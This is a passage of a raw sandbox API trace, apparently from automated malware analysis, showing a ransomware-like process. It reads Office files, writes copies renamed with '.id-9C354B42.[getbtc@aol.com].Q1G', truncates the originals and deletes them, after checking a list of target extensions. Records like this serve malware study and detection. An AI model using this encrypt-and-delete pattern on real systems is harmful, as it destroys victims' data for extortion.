(lpString=".jpg") returned 4 [0246.839] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0246.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCDDSUI.DLL") returned 60 [0246.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCDDSUI.DLL") returned 60 [0246.839] lstrlenW (lpString=".doc") returned 4 [0246.839] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0246.839] lstrlenW (lpString=".docx") returned 5 [0246.839] lstrcmpiW (lpString1=".docx", lpString2="I.DLL") returned -1 [0246.839] lstrlenW (lpString=".pdf") returned 4 [0246.839] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0246.839] lstrlenW (lpString=".xls") returned 4 [0246.839] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0246.839] lstrlenW (lpString=".xlsx") returned 5 [0246.839] lstrcmpiW (lpString1=".xlsx", lpString2="I.DLL") returned -1 [0246.839] lstrlenW (lpString=".ppt") returned 4 [0246.839] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0246.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCDDSUI.DLL") returned 60 [0246.839] lstrlenW (lpString=".zip") returned 4 [0246.839] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0246.839] lstrlenW (lpString=".rar") returned 4 [0246.839] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0246.839] lstrlenW (lpString=".bz2") returned 4 [0246.839] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0246.839] lstrlenW (lpString=".7z") returned 3 [0246.839] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0246.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCDDSUI.DLL") returned 60 [0246.839] lstrlenW (lpString=".dbf") returned 4 [0246.839] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0246.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCDDSUI.DLL") returned 60 [0246.839] lstrlenW (lpString=".1cd") returned 4 [0246.839] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0246.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCDDSUI.DLL") returned 60 [0246.839] lstrlenW (lpString=".jpg") returned 4 [0246.839] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0246.840] lstrcmpiW (lpString1=".ACC", lpString2=".Q1G") returned -1 [0246.840] lstrlenW (lpString="ACCESS12.ACC") returned 12 [0246.840] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCESS12.ACC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\access12.acc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0246.840] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x32dff1c | out: lpFileSize=0x32dff1c*=495616) returned 1 [0246.840] CloseHandle (hObject=0x390) returned 1 [0246.840] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCESS12.ACC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\access12.acc")) returned 0x20 [0246.840] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCESS12.ACC.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\access12.acc.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0246.840] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCESS12.ACC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\access12.acc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0246.840] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0246.840] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0246.841] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCESS12.ACC.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\access12.acc.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0246.875] GetLastError () returned 0x0 [0246.875] ReadFile (in: hFile=0x390, lpBuffer=0x3ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesRead=0x32dfed4*=0x79000, lpOverlapped=0x0) returned 1 [0246.901] WriteFile (in: hFile=0x388, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0x79010, lpNumberOfBytesWritten=0x32dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x32dfc9c*=0x79010, lpOverlapped=0x0) returned 1 [0247.132] ReadFile (in: hFile=0x390, lpBuffer=0x3ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesRead=0x32dfed4*=0x0, lpOverlapped=0x0) returned 1 [0247.132] WriteFile (in: hFile=0x388, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x32dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x32dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0247.132] SetEndOfFile (hFile=0x388) returned 1 [0247.218] CloseHandle (hObject=0x388) returned 1 [0247.218] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0247.218] SetEndOfFile (hFile=0x390) returned 1 [0247.229] CloseHandle (hObject=0x390) returned 1 [0247.229] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCESS12.ACC.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0247.229] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCESS12.ACC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\access12.acc")) returned 1 [0247.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCESS12.ACC") returned 60 [0247.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCESS12.ACC") returned 60 [0247.229] lstrlenW (lpString=".doc") returned 4 [0247.229] lstrcmpiW (lpString1=".doc", lpString2=".ACC") returned 1 [0247.230] lstrlenW (lpString=".docx") returned 5 [0247.230] lstrcmpiW (lpString1=".docx", lpString2="2.ACC") returned -1 [0247.230] lstrlenW (lpString=".pdf") returned 4 [0247.230] lstrcmpiW (lpString1=".pdf", lpString2=".ACC") returned 1 [0247.230] lstrlenW (lpString=".xls") returned 4 [0247.230] lstrcmpiW (lpString1=".xls", lpString2=".ACC") returned 1 [0247.230] lstrlenW (lpString=".xlsx") returned 5 [0247.230] lstrcmpiW (lpString1=".xlsx", lpString2="2.ACC") returned -1 [0247.230] lstrlenW (lpString=".ppt") returned 4 [0247.230] lstrcmpiW (lpString1=".ppt", lpString2=".ACC") returned 1 [0247.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCESS12.ACC") returned 60 [0247.230] lstrlenW (lpString=".zip") returned 4 [0247.230] lstrcmpiW (lpString1=".zip", lpString2=".ACC") returned 1 [0247.230] lstrlenW (lpString=".rar") returned 4 [0247.230] lstrcmpiW (lpString1=".rar", lpString2=".ACC") returned 1 [0247.230] lstrlenW (lpString=".bz2") returned 4 [0247.230] lstrcmpiW (lpString1=".bz2", lpString2=".ACC") returned 1 [0247.230] lstrlenW (lpString=".7z") returned 3 [0247.230] lstrcmpiW (lpString1=".7z", lpString2="ACC") returned -1 [0247.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCESS12.ACC") returned 60 [0247.230] lstrlenW (lpString=".dbf") returned 4 [0247.230] lstrcmpiW (lpString1=".dbf", lpString2=".ACC") returned 1 [0247.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCESS12.ACC") returned 60 [0247.230] lstrlenW (lpString=".1cd") returned 4 [0247.230] lstrcmpiW (lpString1=".1cd", lpString2=".ACC") returned -1 [0247.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCESS12.ACC") returned 60 [0247.230] lstrlenW (lpString=".jpg") returned 4 [0247.230] lstrcmpiW (lpString1=".jpg", lpString2=".ACC") returned 1 [0247.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCESS12.ACC") returned 60 [0247.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCESS12.ACC") returned 60 [0247.230] lstrlenW (lpString=".doc") returned 4 [0247.230] lstrcmpiW (lpString1=".doc", lpString2=".ACC") returned 1 [0247.230] lstrlenW (lpString=".docx") returned 5 [0247.230] lstrcmpiW (lpString1=".docx", lpString2="2.ACC") returned -1 [0247.230] lstrlenW (lpString=".pdf") returned 4 [0247.231] lstrcmpiW (lpString1=".pdf", lpString2=".ACC") returned 1 [0247.231] lstrlenW (lpString=".xls") returned 4 [0247.231] lstrcmpiW (lpString1=".xls", lpString2=".ACC") returned 1 [0247.231] lstrlenW (lpString=".xlsx") returned 5 [0247.231] lstrcmpiW (lpString1=".xlsx", lpString2="2.ACC") returned -1 [0247.231] lstrlenW (lpString=".ppt") returned 4 [0247.231] lstrcmpiW (lpString1=".ppt", lpString2=".ACC") returned 1 [0247.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCESS12.ACC") returned 60 [0247.231] lstrlenW (lpString=".zip") returned 4 [0247.231] lstrcmpiW (lpString1=".zip", lpString2=".ACC") returned 1 [0247.231] lstrlenW (lpString=".rar") returned 4 [0247.231] lstrcmpiW (lpString1=".rar", lpString2=".ACC") returned 1 [0247.231] lstrlenW (lpString=".bz2") returned 4 [0247.231] lstrcmpiW (lpString1=".bz2", lpString2=".ACC") returned 1 [0247.231] lstrlenW (lpString=".7z") returned 3 [0247.231] lstrcmpiW (lpString1=".7z", lpString2="ACC") returned -1 [0247.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCESS12.ACC") returned 60 [0247.231] lstrlenW (lpString=".dbf") returned 4 [0247.231] lstrcmpiW (lpString1=".dbf", lpString2=".ACC") returned 1 [0247.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCESS12.ACC") returned 60 [0247.231] lstrlenW (lpString=".1cd") returned 4 [0247.231] lstrcmpiW (lpString1=".1cd", lpString2=".ACC") returned -1 [0247.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCESS12.ACC") returned 60 [0247.231] lstrlenW (lpString=".jpg") returned 4 [0247.231] lstrcmpiW (lpString1=".jpg", lpString2=".ACC") returned 1 [0247.231] lstrcmpiW (lpString1=".DLL", lpString2=".Q1G") returned -1 [0247.231] lstrlenW (lpString="ACCVDTUI.DLL") returned 12 [0247.232] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCVDTUI.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\accvdtui.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0247.346] GetFileSizeEx (in: hFile=0x3bc, lpFileSize=0x32dff1c | out: lpFileSize=0x32dff1c*=158600) returned 1 [0247.346] CloseHandle (hObject=0x3bc) returned 1 [0247.346] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCVDTUI.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\accvdtui.dll")) returned 0x20 [0247.391] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCVDTUI.DLL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\accvdtui.dll.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0247.391] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCVDTUI.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\accvdtui.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0247.391] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCVDTUI.DLL") returned 60 [0247.391] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCVDTUI.DLL") returned 60 [0247.391] lstrlenW (lpString=".doc") returned 4 [0247.391] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0247.391] lstrlenW (lpString=".docx") returned 5 [0247.391] lstrcmpiW (lpString1=".docx", lpString2="I.DLL") returned -1 [0247.391] lstrlenW (lpString=".pdf") returned 4 [0247.391] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0247.391] lstrlenW (lpString=".xls") returned 4 [0247.391] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0247.391] lstrlenW (lpString=".xlsx") returned 5 [0247.391] lstrcmpiW (lpString1=".xlsx", lpString2="I.DLL") returned -1 [0247.391] lstrlenW (lpString=".ppt") returned 4 [0247.391] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0247.391] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCVDTUI.DLL") returned 60 [0247.391] lstrlenW (lpString=".zip") returned 4 [0247.391] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0247.391] lstrlenW (lpString=".rar") returned 4 [0247.391] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0247.391] lstrlenW (lpString=".bz2") returned 4 [0247.391] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0247.391] lstrlenW (lpString=".7z") returned 3 [0247.391] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0247.391] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCVDTUI.DLL") returned 60 [0247.392] lstrlenW (lpString=".dbf") returned 4 [0247.392] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0247.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCVDTUI.DLL") returned 60 [0247.392] lstrlenW (lpString=".1cd") returned 4 [0247.392] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0247.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCVDTUI.DLL") returned 60 [0247.392] lstrlenW (lpString=".jpg") returned 4 [0247.392] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0247.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCVDTUI.DLL") returned 60 [0247.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCVDTUI.DLL") returned 60 [0247.392] lstrlenW (lpString=".doc") returned 4 [0247.392] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0247.392] lstrlenW (lpString=".docx") returned 5 [0247.392] lstrcmpiW (lpString1=".docx", lpString2="I.DLL") returned -1 [0247.392] lstrlenW (lpString=".pdf") returned 4 [0247.392] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0247.392] lstrlenW (lpString=".xls") returned 4 [0247.392] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0247.392] lstrlenW (lpString=".xlsx") returned 5 [0247.392] lstrcmpiW (lpString1=".xlsx", lpString2="I.DLL") returned -1 [0247.392] lstrlenW (lpString=".ppt") returned 4 [0247.392] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0247.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCVDTUI.DLL") returned 60 [0247.392] lstrlenW (lpString=".zip") returned 4 [0247.392] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0247.392] lstrlenW (lpString=".rar") returned 4 [0247.392] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0247.392] lstrlenW (lpString=".bz2") returned 4 [0247.392] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0247.392] lstrlenW (lpString=".7z") returned 3 [0247.392] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0247.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCVDTUI.DLL") returned 60 [0247.392] lstrlenW (lpString=".dbf") returned 4 [0247.392] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0247.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCVDTUI.DLL") returned 60 [0247.392] lstrlenW (lpString=".1cd") returned 4 [0247.392] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0247.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCVDTUI.DLL") returned 60 [0247.393] lstrlenW (lpString=".jpg") returned 4 [0247.393] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0247.393] lstrcmpiW (lpString1=".DLL", lpString2=".Q1G") returned -1 [0247.393] lstrlenW (lpString="ACWIZRC.DLL") returned 11 [0247.393] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACWIZRC.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\acwizrc.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0247.393] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x32dff1c | out: lpFileSize=0x32dff1c*=275856) returned 1 [0247.393] CloseHandle (hObject=0x3ac) returned 1 [0247.393] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACWIZRC.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\acwizrc.dll")) returned 0x20 [0247.393] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACWIZRC.DLL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\acwizrc.dll.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0247.393] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACWIZRC.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\acwizrc.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0247.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACWIZRC.DLL") returned 59 [0247.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACWIZRC.DLL") returned 59 [0247.394] lstrlenW (lpString=".doc") returned 4 [0247.394] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0247.394] lstrlenW (lpString=".docx") returned 5 [0247.394] lstrcmpiW (lpString1=".docx", lpString2="C.DLL") returned -1 [0247.394] lstrlenW (lpString=".pdf") returned 4 [0247.394] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0247.394] lstrlenW (lpString=".xls") returned 4 [0247.394] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0247.394] lstrlenW (lpString=".xlsx") returned 5 [0247.394] lstrcmpiW (lpString1=".xlsx", lpString2="C.DLL") returned -1 [0247.394] lstrlenW (lpString=".ppt") returned 4 [0247.394] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0247.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACWIZRC.DLL") returned 59 [0247.394] lstrlenW (lpString=".zip") returned 4 [0247.394] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0247.394] lstrlenW (lpString=".rar") returned 4 [0247.394] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0247.394] lstrlenW (lpString=".bz2") returned 4 [0247.394] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0247.394] lstrlenW (lpString=".7z") returned 3 [0247.394] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0247.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACWIZRC.DLL") returned 59 [0247.394] lstrlenW (lpString=".dbf") returned 4 [0247.394] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0247.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACWIZRC.DLL") returned 59 [0247.394] lstrlenW (lpString=".1cd") returned 4 [0247.394] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0247.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACWIZRC.DLL") returned 59 [0247.394] lstrlenW (lpString=".jpg") returned 4 [0247.394] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0247.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACWIZRC.DLL") returned 59 [0247.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACWIZRC.DLL") returned 59 [0247.394] lstrlenW (lpString=".doc") returned 4 [0247.394] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0247.394] lstrlenW (lpString=".docx") returned 5 [0247.394] lstrcmpiW (lpString1=".docx", lpString2="C.DLL") returned -1 [0247.394] lstrlenW (lpString=".pdf") returned 4 [0247.394] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0247.395] lstrlenW (lpString=".xls") returned 4 [0247.395] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0247.395] lstrlenW (lpString=".xlsx") returned 5 [0247.395] lstrcmpiW (lpString1=".xlsx", lpString2="C.DLL") returned -1 [0247.395] lstrlenW (lpString=".ppt") returned 4 [0247.395] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0247.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACWIZRC.DLL") returned 59 [0247.395] lstrlenW (lpString=".zip") returned 4 [0247.395] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0247.395] lstrlenW (lpString=".rar") returned 4 [0247.395] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0247.395] lstrlenW (lpString=".bz2") returned 4 [0247.395] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0247.395] lstrlenW (lpString=".7z") returned 3 [0247.395] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0247.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACWIZRC.DLL") returned 59 [0247.395] lstrlenW (lpString=".dbf") returned 4 [0247.395] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0247.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACWIZRC.DLL") returned 59 [0247.395] lstrlenW (lpString=".1cd") returned 4 [0247.395] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0247.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACWIZRC.DLL") returned 59 [0247.395] lstrlenW (lpString=".jpg") returned 4 [0247.395] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0247.395] lstrcmpiW (lpString1=".VSL", lpString2=".Q1G") returned 1 [0247.395] lstrlenW (lpString="AEC.VSL") returned 7 [0247.395] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AEC.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\aec.vsl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0247.539] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x32dff1c | out: lpFileSize=0x32dff1c*=69496) returned 1 [0247.539] CloseHandle (hObject=0x398) returned 1 [0247.539] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AEC.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\aec.vsl")) returned 0x20 [0247.565] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AEC.VSL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\aec.vsl.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0247.600] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AEC.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\aec.vsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0247.600] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0247.600] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0247.600] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AEC.VSL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\aec.vsl.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0247.601] GetLastError () returned 0x0 [0247.601] ReadFile (in: hFile=0x3a0, lpBuffer=0x3ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesRead=0x32dfed4*=0x10f78, lpOverlapped=0x0) returned 1 [0247.635] WriteFile (in: hFile=0x3c0, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0x10f80, lpNumberOfBytesWritten=0x32dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x32dfc9c*=0x10f80, lpOverlapped=0x0) returned 1 [0247.637] ReadFile (in: hFile=0x3a0, lpBuffer=0x3ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesRead=0x32dfed4*=0x0, lpOverlapped=0x0) returned 1 [0247.637] WriteFile (in: hFile=0x3c0, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x32dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x32dfc9c*=0xe2, lpOverlapped=0x0) returned 1 [0247.637] SetEndOfFile (hFile=0x3c0) returned 1 [0247.637] CloseHandle (hObject=0x3c0) returned 1 [0247.637] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0247.637] SetEndOfFile (hFile=0x3a0) returned 1 [0247.640] CloseHandle (hObject=0x3a0) returned 1 [0247.640] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AEC.VSL.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0247.741] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AEC.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\aec.vsl")) returned 1 [0247.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AEC.VSL") returned 55 [0247.742] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AEC.VSL") returned 55 [0247.742] lstrlenW (lpString=".doc") 